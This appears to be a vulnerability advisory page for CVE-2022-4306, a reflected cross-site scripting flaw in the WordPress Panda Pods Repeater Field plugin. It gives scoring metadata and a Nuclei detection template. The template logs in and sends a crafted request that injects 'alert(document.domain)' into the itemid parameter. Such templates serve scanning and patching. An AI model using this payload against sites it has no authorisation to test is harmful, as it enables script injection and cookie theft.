SecurityContext

CVE-2022-4306: WordPress Panda Pods Repeater Field <1.5.4 - Cross-Site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 5.4
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.00849
  • Epss percentile: 0.59074
  • Cpe: cpe:2.3:a:panda_pods_repeater_field_project:panda_pods_repeater_field:*:*:*:*:*:wordpress:*:*

Metadata

  • Framework: wordpress
  • Max-request: 2
  • Product: panda_pods_repeater_field
  • Vendor: panda_pods_repeater_field_project
  • Verified: yes

Products

ProductIndexedUrl
panda_pods_repeater_field_project:panda_pods_repeater_fieldyes/v1/products/panda_pods_repeater_field_project/panda_pods_repeater_field

Labels

  • Name: WordPress Panda Pods Repeater Field - Reflected XSS
  • Impact: Attackers can execute scripts in the victim's browser, steal cookies, and perform other malicious actions.
  • Remediation: Update to version 1.5.4 or later.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Attacker needs victim to load or interact with malicious content
  • Labels source: projectdiscovery
  • From cve: CVE-2022-4306

```yaml

id: CVE-2022-4306

info:

name: WordPress Panda Pods Repeater Field <1.5.4 - Cross-Site Scripting

author: r3Y3r53

severity: medium

description: |

WordPress Panda Pods Repeater Field before 1.5.4 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. This can be leveraged against a user who has at least Contributor permission. An attacker can also steal cookie-based authentication credentials and launch other attacks.

impact: |

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.

remediation: Fixed in version 1.5.4.

reference:

- https://wpscan.com/vulnerability/18d7f9af-7267-4723-9d6f-05b895c94dbe

- https://nvd.nist.gov/vuln/detail/CVE-2022-4306

- https://github.com/ARPSyndicate/cvemon

- https://github.com/ARPSyndicate/kenzer-templates

- https://github.com/cyllective/CVEs

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

cvss-score: 5.4

cve-id: CVE-2022-4306

cwe-id: CWE-79

epss-score: 0.00849

epss-percentile: 0.59074

cpe: cpe:2.3:a:panda_pods_repeater_field_project:panda_pods_repeater_field:*:*:*:*:*:wordpress:*:*

metadata:

verified: true

max-request: 2

vendor: panda_pods_repeater_field_project

product: panda_pods_repeater_field

framework: wordpress

tags: cve,cve2022,xss,panda,pods,repeater,wordpress,wp-plugin,wpscan,authenticated,panda_pods_repeater_field_project,vuln

http:

- raw:

- |

POST /wp-login.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

log={{username}}&pwd={{password}}&wp-submit=Log+In

- |

GET /wp-content/plugins/panda-pods-repeater-field/fields/pandarepeaterfield.php?itemid=1&podid=1);%20alert(document.domain);/*x&iframe_id=panda-repeater-add-new&success=1 HTTP/1.1

Host: {{Hostname}}

matchers:

- type: dsl

dsl:

- 'status_code_2 == 200'

- 'contains(body_2, "alert(document.domain)")'

- 'contains(body_2, "panda-repeater-add-new")'

condition: and

digest: 4b0a00483046022100bc3c3ec2517329c69604fbff6297f5be9e0c56dad2f3a5ee269dee9caf6d2bed02210094641c2cf82521a8f263c67773834717e0e02dd79296196af58cb083edfcc4d6:922c64590222798bb761d5b6d8e72950

```